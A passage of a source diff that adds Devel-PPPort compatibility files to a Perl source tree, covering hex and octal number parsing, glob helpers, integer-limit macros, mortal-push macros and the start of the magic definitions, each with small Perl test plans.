+ else if (len >= 2 && s[0] == '0' && s[1] == 'x') {
+ s+=2;
+ len-=2;
+ }
+ }
+ }
+
+ for (; len-- && *s; s++) {
+ xdigit = strchr((char *) PL_hexdigit, *s);
+ if (xdigit) {
+ /* Write it in this wonky order with a goto to attempt to get the
+ compiler to make the common case integer-only loop pretty tight.
+ With gcc seems to be much straighter code than old scan_hex. */
+ redo:
+ if (!overflowed) {
+ if (value <= max_div_16) {
+ value = (value << 4) | ((xdigit - PL_hexdigit) & 15);
+ continue;
+ }
+ warn("Integer overflow in hexadecimal number");
+ overflowed = TRUE;
+ value_nv = (NV) value;
+ }
+ value_nv *= 16.0;
+ /* If an NV has not enough bits in its mantissa to
+ * represent a UV this summing of small low-order numbers
+ * is a waste of time (because the NV cannot preserve
+ * the low-order bits anyway): we could just remember when
+ * did we overflow and in the end just multiply value_nv by the
+ * right amount of 16-tuples. */
+ value_nv += (NV)((xdigit - PL_hexdigit) & 15);
+ continue;
+ }
+ if (*s == '_' && len && allow_underscores && s[1]
+ && (xdigit = strchr((char *) PL_hexdigit, s[1])))
+ {
+ --len;
+ ++s;
+ goto redo;
+ }
+ if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+ warn("Illegal hexadecimal digit '%c' ignored", *s);
+ break;
+ }
+
+ if ( ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+ || (!overflowed && value > 0xffffffff )
+#endif
+ ) {
+ warn("Hexadecimal number > 0xffffffff non-portable");
+ }
+ *len_p = s - start;
+ if (!overflowed) {
+ *flags = 0;
+ return value;
+ }
+ *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+ if (result)
+ *result = value_nv;
+ return UV_MAX;
+}
+#endif
+#endif
+
+#ifndef grok_oct
+#if { NEED grok_oct }
+UV
+grok_oct(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+ const char *s = start;
+ STRLEN len = *len_p;
+ UV value = 0;
+ NV value_nv = 0;
+
+ const UV max_div_8 = UV_MAX / 8;
+ bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+ bool overflowed = FALSE;
+
+ for (; len-- && *s; s++) {
+ /* gcc 2.95 optimiser not smart enough to figure that this subtraction
+ out front allows slicker code. */
+ int digit = *s - '0';
+ if (digit >= 0 && digit <= 7) {
+ /* Write it in this wonky order with a goto to attempt to get the
+ compiler to make the common case integer-only loop pretty tight.
+ */
+ redo:
+ if (!overflowed) {
+ if (value <= max_div_8) {
+ value = (value << 3) | digit;
+ continue;
+ }
+ /* Bah. We're just overflowed. */
+ warn("Integer overflow in octal number");
+ overflowed = TRUE;
+ value_nv = (NV) value;
+ }
+ value_nv *= 8.0;
+ /* If an NV has not enough bits in its mantissa to
+ * represent a UV this summing of small low-order numbers
+ * is a waste of time (because the NV cannot preserve
+ * the low-order bits anyway): we could just remember when
+ * did we overflow and in the end just multiply value_nv by the
+ * right amount of 8-tuples. */
+ value_nv += (NV)digit;
+ continue;
+ }
+ if (digit == ('_' - '0') && len && allow_underscores
+ && (digit = s[1] - '0') && (digit >= 0 && digit <= 7))
+ {
+ --len;
+ ++s;
+ goto redo;
+ }
+ /* Allow \octal to work the DWIM way (that is, stop scanning
+ * as soon as non-octal characters are seen, complain only iff
+ * someone seems to want to use the digits eight and nine). */
+ if (digit == 8 || digit == 9) {
+ if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+ warn("Illegal octal digit '%c' ignored", *s);
+ }
+ break;
+ }
+
+ if ( ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+ || (!overflowed && value > 0xffffffff )
+#endif
+ ) {
+ warn("Octal number > 037777777777 non-portable");
+ }
+ *len_p = s - start;
+ if (!overflowed) {
+ *flags = 0;
+ return value;
+ }
+ *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+ if (result)
+ *result = value_nv;
+ return UV_MAX;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_grok_number
+#define NEED_grok_numeric_radix
+#define NEED_grok_bin
+#define NEED_grok_hex
+#define NEED_grok_oct
+
+=xsubs
+
+UV
+grok_number(string)
+ SV *string
+ PREINIT:
+ const char *pv;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ if (!grok_number(pv, len, &RETVAL))
+ XSRETURN_UNDEF;
+ OUTPUT:
+ RETVAL
+
+UV
+grok_bin(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = grok_bin(pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+grok_hex(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = grok_hex(pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+grok_oct(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = grok_oct(pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_number(string)
+ SV *string
+ PREINIT:
+ const char *pv;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ if (!Perl_grok_number(aTHX_ pv, len, &RETVAL))
+ XSRETURN_UNDEF;
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_bin(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = Perl_grok_bin(aTHX_ pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_hex(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = Perl_grok_hex(aTHX_ pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_oct(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = Perl_grok_oct(aTHX_ pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+=tests plan => 10
+
+ok(&Devel::PPPort::grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::grok_number("A")));
+ok(&Devel::PPPort::grok_bin("10000001"), 129);
+ok(&Devel::PPPort::grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::grok_oct("377"), 255);
+
+ok(&Devel::PPPort::Perl_grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::Perl_grok_number("A")));
+ok(&Devel::PPPort::Perl_grok_bin("10000001"), 129);
+ok(&Devel::PPPort::Perl_grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::Perl_grok_oct("377"), 255);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv
new file mode 100644
index 00000000000..d2f526f416f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv
@@ -0,0 +1,141 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+gv_fetchpvn_flags
+
+=implementation
+
+#ifndef gv_fetchpvn_flags
+#if { NEED gv_fetchpvn_flags }
+
+GV*
+gv_fetchpvn_flags(pTHX_ const char* name, STRLEN len, int flags, int types) {
+ char *namepv = savepvn(name, len);
+ GV* stash = gv_fetchpv(namepv, TRUE, SVt_PVHV);
+ Safefree(namepv);
+ return stash;
+}
+
+#endif
+#endif
+
+__UNDEFINED__ GvSVn(gv) GvSV(gv)
+__UNDEFINED__ isGV_with_GP(gv) isGV(gv)
+__UNDEFINED__ gv_fetchsv(name, flags, svt) gv_fetchpv(SvPV_nolen_const(name), flags, svt)
+
+__UNDEFINED__ get_cvn_flags(name, namelen, flags) get_cv(name, flags)
+__UNDEFINED__ gv_init_pvn(gv, stash, ptr, len, flags) gv_init(gv, stash, ptr, len, flags & GV_ADDMULTI ? TRUE : FALSE)
+
+=xsinit
+
+#define NEED_gv_fetchpvn_flags
+
+=xsubs
+
+int
+GvSVn()
+ PREINIT:
+ GV* gv;
+ CODE:
+ RETVAL = 0;
+ gv = gv_fetchpvs("Devel::PPPort::GvTest", GV_ADDMULTI, SVt_PVGV);
+ if (GvSVn(gv) != NULL)
+ {
+ RETVAL++;
+ }
+ OUTPUT:
+ RETVAL
+
+int
+isGV_with_GP()
+ PREINIT:
+ GV* gv;
+ CODE:
+ RETVAL = 0;
+ gv = gv_fetchpvs("Devel::PPPort::GvTest", GV_ADDMULTI, SVt_PVGV);
+ if (isGV_with_GP(gv))
+ {
+ RETVAL++;
+ }
+ if (!isGV(&PL_sv_undef))
+ {
+ RETVAL++;
+ }
+ OUTPUT:
+ RETVAL
+
+int
+get_cvn_flags()
+ PREINIT:
+ CV* xv;
+ CODE:
+ RETVAL = 0;
+ xv = get_cvn_flags("Devel::PPPort::foobar", sizeof("Devel::PPPort::foobar")-1, 0);
+ if(xv == NULL) RETVAL++;
+ xv = get_cvn_flags("Devel::PPPort::foobar", sizeof("Devel::PPPort::foobar")-1, GV_ADDMULTI);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+ xv = get_cvn_flags("Devel::PPPort::get_cvn_flags", sizeof("Devel::PPPort::get_cvn_flags")-1, 0);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+ OUTPUT:
+ RETVAL
+
+SV*
+gv_fetchpvn_flags()
+ CODE:
+#if { VERSION < 5.9.2 } || { VERSION > 5.9.3 } /* 5.9.2 and 5.9.3 ignore the length param */
+ RETVAL = newRV_inc((SV*)gv_fetchpvn_flags("Devel::PPPort::VERSIONFAKE", sizeof("Devel::PPPort::VERSIONFAKE")-5, 0, SVt_PV));
+#else
+ RETVAL = newRV_inc((SV*)gv_fetchpvn_flags("Devel::PPPort::VERSION", 0, 0, SVt_PV));
+#endif
+ OUTPUT:
+ RETVAL
+
+SV*
+gv_fetchsv(name)
+ SV *name
+ CODE:
+ RETVAL = newRV_inc((SV*)gv_fetchsv(name, 0, SVt_PV));
+ OUTPUT:
+ RETVAL
+
+void
+gv_init_type(namesv, multi, flags)
+ SV* namesv
+ int multi
+ I32 flags
+ PREINIT:
+ HV *defstash = gv_stashpv("main", 0);
+ STRLEN len;
+ const char * const name = SvPV_const(namesv, len);
+ GV *gv = *(GV**)hv_fetch(defstash, name, len, TRUE);
+ PPCODE:
+ if (SvTYPE(gv) == SVt_PVGV)
+ Perl_croak(aTHX_ "GV is already a PVGV");
+ if (multi) flags |= GV_ADDMULTI;
+ gv_init_pvn(gv, defstash, name, len, flags);
+ XPUSHs( gv ? (SV*)gv : &PL_sv_undef);
+
+=tests plan => 7
+
+ok(Devel::PPPort::GvSVn(), 1);
+
+ok(Devel::PPPort::isGV_with_GP(), 2);
+
+ok(Devel::PPPort::get_cvn_flags(), 3);
+
+ok(Devel::PPPort::gv_fetchpvn_flags(), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_fetchsv("Devel::PPPort::VERSION"), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_init_type("sanity_check", 0, 0), "*main::sanity_check");
+ok($::{sanity_check});
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits
new file mode 100644
index 00000000000..778383d9a05
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits
@@ -0,0 +1,326 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PERL_UCHAR_MIN
+PERL_UCHAR_MAX
+PERL_USHORT_MIN
+PERL_USHORT_MAX
+PERL_SHORT_MAX
+PERL_SHORT_MIN
+PERL_UINT_MAX
+PERL_UINT_MIN
+PERL_INT_MAX
+PERL_INT_MIN
+PERL_ULONG_MAX
+PERL_ULONG_MIN
+PERL_LONG_MAX
+PERL_LONG_MIN
+PERL_UQUAD_MAX
+PERL_UQUAD_MIN
+PERL_QUAD_MAX
+PERL_QUAD_MIN
+IVSIZE
+UVSIZE
+IVTYPE
+UVTYPE
+
+=implementation
+
+#ifdef I_LIMITS
+# include <limits.h>
+#endif
+
+#ifndef PERL_UCHAR_MIN
+# define PERL_UCHAR_MIN ((unsigned char)0)
+#endif
+
+#ifndef PERL_UCHAR_MAX
+# ifdef UCHAR_MAX
+# define PERL_UCHAR_MAX ((unsigned char)UCHAR_MAX)
+# else
+# ifdef MAXUCHAR
+# define PERL_UCHAR_MAX ((unsigned char)MAXUCHAR)
+# else
+# define PERL_UCHAR_MAX ((unsigned char)~(unsigned)0)
+# endif
+# endif
+#endif
+
+#ifndef PERL_USHORT_MIN
+# define PERL_USHORT_MIN ((unsigned short)0)
+#endif
+
+#ifndef PERL_USHORT_MAX
+# ifdef USHORT_MAX
+# define PERL_USHORT_MAX ((unsigned short)USHORT_MAX)
+# else
+# ifdef MAXUSHORT
+# define PERL_USHORT_MAX ((unsigned short)MAXUSHORT)
+# else
+# ifdef USHRT_MAX
+# define PERL_USHORT_MAX ((unsigned short)USHRT_MAX)
+# else
+# define PERL_USHORT_MAX ((unsigned short)~(unsigned)0)
+# endif
+# endif
+# endif
+#endif
+
+#ifndef PERL_SHORT_MAX
+# ifdef SHORT_MAX
+# define PERL_SHORT_MAX ((short)SHORT_MAX)
+# else
+# ifdef MAXSHORT /* Often used in <values.h> */
+# define PERL_SHORT_MAX ((short)MAXSHORT)
+# else
+# ifdef SHRT_MAX
+# define PERL_SHORT_MAX ((short)SHRT_MAX)
+# else
+# define PERL_SHORT_MAX ((short) (PERL_USHORT_MAX >> 1))
+# endif
+# endif
+# endif
+#endif
+
+#ifndef PERL_SHORT_MIN
+# ifdef SHORT_MIN
+# define PERL_SHORT_MIN ((short)SHORT_MIN)
+# else
+# ifdef MINSHORT
+# define PERL_SHORT_MIN ((short)MINSHORT)
+# else
+# ifdef SHRT_MIN
+# define PERL_SHORT_MIN ((short)SHRT_MIN)
+# else
+# define PERL_SHORT_MIN (-PERL_SHORT_MAX - ((3 & -1) == 3))
+# endif
+# endif
+# endif
+#endif
+
+#ifndef PERL_UINT_MAX
+# ifdef UINT_MAX
+# define PERL_UINT_MAX ((unsigned int)UINT_MAX)
+# else
+# ifdef MAXUINT
+# define PERL_UINT_MAX ((unsigned int)MAXUINT)
+# else
+# define PERL_UINT_MAX (~(unsigned int)0)
+# endif
+# endif
+#endif
+
+#ifndef PERL_UINT_MIN
+# define PERL_UINT_MIN ((unsigned int)0)
+#endif
+
+#ifndef PERL_INT_MAX
+# ifdef INT_MAX
+# define PERL_INT_MAX ((int)INT_MAX)
+# else
+# ifdef MAXINT /* Often used in <values.h> */
+# define PERL_INT_MAX ((int)MAXINT)
+# else
+# define PERL_INT_MAX ((int)(PERL_UINT_MAX >> 1))
+# endif
+# endif
+#endif
+
+#ifndef PERL_INT_MIN
+# ifdef INT_MIN
+# define PERL_INT_MIN ((int)INT_MIN)
+# else
+# ifdef MININT
+# define PERL_INT_MIN ((int)MININT)
+# else
+# define PERL_INT_MIN (-PERL_INT_MAX - ((3 & -1) == 3))
+# endif
+# endif
+#endif
+
+#ifndef PERL_ULONG_MAX
+# ifdef ULONG_MAX
+# define PERL_ULONG_MAX ((unsigned long)ULONG_MAX)
+# else
+# ifdef MAXULONG
+# define PERL_ULONG_MAX ((unsigned long)MAXULONG)
+# else
+# define PERL_ULONG_MAX (~(unsigned long)0)
+# endif
+# endif
+#endif
+
+#ifndef PERL_ULONG_MIN
+# define PERL_ULONG_MIN ((unsigned long)0L)
+#endif
+
+#ifndef PERL_LONG_MAX
+# ifdef LONG_MAX
+# define PERL_LONG_MAX ((long)LONG_MAX)
+# else
+# ifdef MAXLONG
+# define PERL_LONG_MAX ((long)MAXLONG)
+# else
+# define PERL_LONG_MAX ((long) (PERL_ULONG_MAX >> 1))
+# endif
+# endif
+#endif
+
+#ifndef PERL_LONG_MIN
+# ifdef LONG_MIN
+# define PERL_LONG_MIN ((long)LONG_MIN)
+# else
+# ifdef MINLONG
+# define PERL_LONG_MIN ((long)MINLONG)
+# else
+# define PERL_LONG_MIN (-PERL_LONG_MAX - ((3 & -1) == 3))
+# endif
+# endif
+#endif
+
+#if defined(HAS_QUAD) && (defined(convex) || defined(uts))
+# ifndef PERL_UQUAD_MAX
+# ifdef ULONGLONG_MAX
+# define PERL_UQUAD_MAX ((unsigned long long)ULONGLONG_MAX)
+# else
+# ifdef MAXULONGLONG
+# define PERL_UQUAD_MAX ((unsigned long long)MAXULONGLONG)
+# else
+# define PERL_UQUAD_MAX (~(unsigned long long)0)
+# endif
+# endif
+# endif
+
+# ifndef PERL_UQUAD_MIN
+# define PERL_UQUAD_MIN ((unsigned long long)0L)
+# endif
+
+# ifndef PERL_QUAD_MAX
+# ifdef LONGLONG_MAX
+# define PERL_QUAD_MAX ((long long)LONGLONG_MAX)
+# else
+# ifdef MAXLONGLONG
+# define PERL_QUAD_MAX ((long long)MAXLONGLONG)
+# else
+# define PERL_QUAD_MAX ((long long) (PERL_UQUAD_MAX >> 1))
+# endif
+# endif
+# endif
+
+# ifndef PERL_QUAD_MIN
+# ifdef LONGLONG_MIN
+# define PERL_QUAD_MIN ((long long)LONGLONG_MIN)
+# else
+# ifdef MINLONGLONG
+# define PERL_QUAD_MIN ((long long)MINLONGLONG)
+# else
+# define PERL_QUAD_MIN (-PERL_QUAD_MAX - ((3 & -1) == 3))
+# endif
+# endif
+# endif
+#endif
+
+/* This is based on code from 5.003 perl.h */
+#ifdef HAS_QUAD
+# ifdef cray
+ __UNDEFINED__ IVTYPE int
+ __UNDEFINED__ IV_MIN PERL_INT_MIN
+ __UNDEFINED__ IV_MAX PERL_INT_MAX
+ __UNDEFINED__ UV_MIN PERL_UINT_MIN
+ __UNDEFINED__ UV_MAX PERL_UINT_MAX
+# ifdef INTSIZE
+ __UNDEFINED__ IVSIZE INTSIZE
+# endif
+# else
+# if defined(convex) || defined(uts)
+ __UNDEFINED__ IVTYPE long long
+ __UNDEFINED__ IV_MIN PERL_QUAD_MIN
+ __UNDEFINED__ IV_MAX PERL_QUAD_MAX
+ __UNDEFINED__ UV_MIN PERL_UQUAD_MIN
+ __UNDEFINED__ UV_MAX PERL_UQUAD_MAX
+# ifdef LONGLONGSIZE
+ __UNDEFINED__ IVSIZE LONGLONGSIZE
+# endif
+# else
+ __UNDEFINED__ IVTYPE long
+ __UNDEFINED__ IV_MIN PERL_LONG_MIN
+ __UNDEFINED__ IV_MAX PERL_LONG_MAX
+ __UNDEFINED__ UV_MIN PERL_ULONG_MIN
+ __UNDEFINED__ UV_MAX PERL_ULONG_MAX
+# ifdef LONGSIZE
+ __UNDEFINED__ IVSIZE LONGSIZE
+# endif
+# endif
+# endif
+ __UNDEFINED__ IVSIZE 8
+ __UNDEFINED__ LONGSIZE 8
+ __UNDEFINED__ PERL_QUAD_MIN IV_MIN
+ __UNDEFINED__ PERL_QUAD_MAX IV_MAX
+ __UNDEFINED__ PERL_UQUAD_MIN UV_MIN
+ __UNDEFINED__ PERL_UQUAD_MAX UV_MAX
+#else
+ __UNDEFINED__ IVTYPE long
+ __UNDEFINED__ LONGSIZE 4
+ __UNDEFINED__ IV_MIN PERL_LONG_MIN
+ __UNDEFINED__ IV_MAX PERL_LONG_MAX
+ __UNDEFINED__ UV_MIN PERL_ULONG_MIN
+ __UNDEFINED__ UV_MAX PERL_ULONG_MAX
+#endif
+
+#ifndef IVSIZE
+# ifdef LONGSIZE
+# define IVSIZE LONGSIZE
+# else
+# define IVSIZE 4 /* A bold guess, but the best we can make. */
+# endif
+#endif
+
+__UNDEFINED__ UVTYPE unsigned IVTYPE
+__UNDEFINED__ UVSIZE IVSIZE
+
+=xsubs
+
+IV
+iv_size()
+ CODE:
+ RETVAL = IVSIZE == sizeof(IV);
+ OUTPUT:
+ RETVAL
+
+IV
+uv_size()
+ CODE:
+ RETVAL = UVSIZE == sizeof(UV);
+ OUTPUT:
+ RETVAL
+
+IV
+iv_type()
+ CODE:
+ RETVAL = sizeof(IVTYPE) == sizeof(IV);
+ OUTPUT:
+ RETVAL
+
+IV
+uv_type()
+ CODE:
+ RETVAL = sizeof(UVTYPE) == sizeof(UV);
+ OUTPUT:
+ RETVAL
+
+=tests plan => 4
+
+ok(&Devel::PPPort::iv_size());
+ok(&Devel::PPPort::uv_size());
+ok(&Devel::PPPort::iv_type());
+ok(&Devel::PPPort::uv_type());
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH
new file mode 100644
index 00000000000..a17972c7082
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH
@@ -0,0 +1,131 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ mPUSHs(s) PUSHs(sv_2mortal(s))
+__UNDEFINED__ PUSHmortal PUSHs(sv_newmortal())
+__UNDEFINED__ mPUSHp(p,l) sv_setpvn(PUSHmortal, (p), (l))
+__UNDEFINED__ mPUSHn(n) sv_setnv(PUSHmortal, (NV)(n))
+__UNDEFINED__ mPUSHi(i) sv_setiv(PUSHmortal, (IV)(i))
+__UNDEFINED__ mPUSHu(u) sv_setuv(PUSHmortal, (UV)(u))
+
+__UNDEFINED__ mXPUSHs(s) XPUSHs(sv_2mortal(s))
+__UNDEFINED__ XPUSHmortal XPUSHs(sv_newmortal())
+__UNDEFINED__ mXPUSHp(p,l) STMT_START { EXTEND(sp,1); sv_setpvn(PUSHmortal, (p), (l)); } STMT_END
+__UNDEFINED__ mXPUSHn(n) STMT_START { EXTEND(sp,1); sv_setnv(PUSHmortal, (NV)(n)); } STMT_END
+__UNDEFINED__ mXPUSHi(i) STMT_START { EXTEND(sp,1); sv_setiv(PUSHmortal, (IV)(i)); } STMT_END
+__UNDEFINED__ mXPUSHu(u) STMT_START { EXTEND(sp,1); sv_setuv(PUSHmortal, (UV)(u)); } STMT_END
+
+=xsubs
+
+void
+mPUSHs()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHs(newSVpv("foo", 0));
+ mPUSHs(newSVpv("bar13", 3));
+ mPUSHs(newSViv(42));
+ XSRETURN(3);
+
+void
+mPUSHp()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHp("one", 3);
+ mPUSHp("two", 3);
+ mPUSHp("three", 5);
+ XSRETURN(3);
+
+void
+mPUSHn()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHn(0.5);
+ mPUSHn(-0.25);
+ mPUSHn(0.125);
+ XSRETURN(3);
+
+void
+mPUSHi()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHi(-1);
+ mPUSHi(2);
+ mPUSHi(-3);
+ XSRETURN(3);
+
+void
+mPUSHu()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHu(1);
+ mPUSHu(2);
+ mPUSHu(3);
+ XSRETURN(3);
+
+void
+mXPUSHs()
+ PPCODE:
+ mXPUSHs(newSVpv("foo", 0));
+ mXPUSHs(newSVpv("bar13", 3));
+ mXPUSHs(newSViv(42));
+ XSRETURN(3);
+
+void
+mXPUSHp()
+ PPCODE:
+ mXPUSHp("one", 3);
+ mXPUSHp("two", 3);
+ mXPUSHp("three", 5);
+ XSRETURN(3);
+
+void
+mXPUSHn()
+ PPCODE:
+ mXPUSHn(0.5);
+ mXPUSHn(-0.25);
+ mXPUSHn(0.125);
+ XSRETURN(3);
+
+void
+mXPUSHi()
+ PPCODE:
+ mXPUSHi(-1);
+ mXPUSHi(2);
+ mXPUSHi(-3);
+ XSRETURN(3);
+
+void
+mXPUSHu()
+ PPCODE:
+ mXPUSHu(1);
+ mXPUSHu(2);
+ mXPUSHu(3);
+ XSRETURN(3);
+
+=tests plan => 10
+
+ok(join(':', &Devel::PPPort::mPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mPUSHu()), "1:2:3");
+
+ok(join(':', &Devel::PPPort::mXPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mXPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mXPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mXPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mXPUSHu()), "1:2:3");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic
new file mode 100644
index 00000000000..bf43a9ccdcb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic
@@ -0,0 +1,613 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+mg_findext
+sv_unmagicext
+
+__UNDEFINED__
+/sv_\w+_mg/
+sv_magic_portable
+MUTABLE_PTR
+MUTABLE_SV
+
+=implementation
+
+__UNDEFINED__ SvGETMAGIC(x) STMT_START { if (SvGMAGICAL(x)) mg_get(x); } STMT_END
+
+/* Some random bits for sv_unmagicext. These should probably be pulled in for
+ real and organized at some point */
+
+__UNDEFINED__ HEf_SVKEY -2
+
+#ifndef MUTABLE_PTR
+#if defined(__GNUC__) && !defined(PERL_GCC_BRACE_GROUPS_FORBIDDEN)
+# define MUTABLE_PTR(p) ({ void *_p = (p); _p; })
+#else
+# define MUTABLE_PTR(p) ((void *) (p))
+#endif
+#endif
+
+__UNDEFINED__ MUTABLE_SV(p) ((SV *)MUTABLE_PTR(p))
+
+/* end of random bits */
+
+__UNDEFINED__ PERL_MAGIC_sv '\0'
+__UNDEFINED__ PERL_MAGIC_overload 'A'
+__UNDEFINED__ PERL_MAGIC_overload_elem 'a'
+__UNDEFINED__ PERL_MAGIC_overload_table 'c'
+__UNDEFINED__ PERL_MAGIC_bm 'B'
+__UNDEFINED__ PERL_MAGIC_regdata 'D'
+__UNDEFINED__ PERL_MAGIC_regdatum 'd'
+__UNDEFINED__ PERL_MAGIC_env 'E'
+__UNDEFINED__ PERL_MAGIC_envelem 'e'
+__UNDEFINED__ PERL_MAGIC_fm 'f'
+__UNDEFINED__ PERL_MAGIC_regex_global 'g'
+__UNDEFINED__ PERL_MAGIC_isa 'I'
+__UNDEFINED__ PERL_MAGIC_isaelem 'i'
+__UNDEFINED__ PERL_MAGIC_nkeys 'k'
+__UNDEFINED__ PERL_MAGIC_dbfile 'L'
+__UNDEFINED__ PERL_MAGIC_dbline 'l'
+__UNDEFINED__ PERL_MAGIC_mutex 'm'
+__UNDEFINED__ PERL_MAGIC_shared 'N'
+__UNDEFINED__ PERL_MAGIC_shared_scalar 'n'
+__UNDEFINED__ PERL_MAGIC_collxfrm 'o'
+__UNDEFINED__ PERL_MAGIC_tied 'P'
+__UNDEFINED__ PERL_MAGIC_tiedelem 'p'
+__UNDEFINED__ PERL_MAGIC_tiedscalar 'q'
+__UNDEFINED__ PERL_MAGIC_qr 'r'
+__UNDEFINED__ PERL_MAGIC_sig 'S'
+__UNDEFINED__ PERL_MAGIC_sigelem 's'
+__UNDEFINED__ PERL_MAGIC_taint 't'
+__UNDEFINED__ PERL_MAGIC_uvar 'U'
+__UNDEFINED__ PERL_MAGIC_uvar_elem 'u'
+__UNDEFINED__ PERL_MAGIC_vstring 'V'
+__UNDEFINED__ PERL_MAGIC_vec 'v'
+__UNDEFINED__ PERL_MAGIC_utf8 'w'
+__UNDEFINED__ PERL_MAGIC_substr 'x'
+__UNDEFINED__ PERL_MAGIC_defelem 'y'
+__UNDEFINED__ PERL_MAGIC_glob '*'
+__UNDEFINED__ PERL_MAGIC_arylen '#'
+__UNDEFINED__ PERL_MAGIC_pos '.'
+__UNDEFINED__ PERL_MAGIC_backref '<'
+__UNDEFINED__ PERL_MAGIC_ext '~'
+
+/* That's the best we can do... */
+__UNDEFINED__ sv_catpvn_nomg sv_catpvn
+__UNDEFINED__ sv_catsv_nomg sv_catsv
+__UNDEFINED__ sv_setsv_nomg sv_setsv
+__UNDEFINED__ sv_pvn_nomg sv_pvn
+__UNDEFINED__ SvIV_nomg SvIV
+__UNDEFINED__ SvUV_nomg SvUV
+
+#ifndef sv_catpv_mg
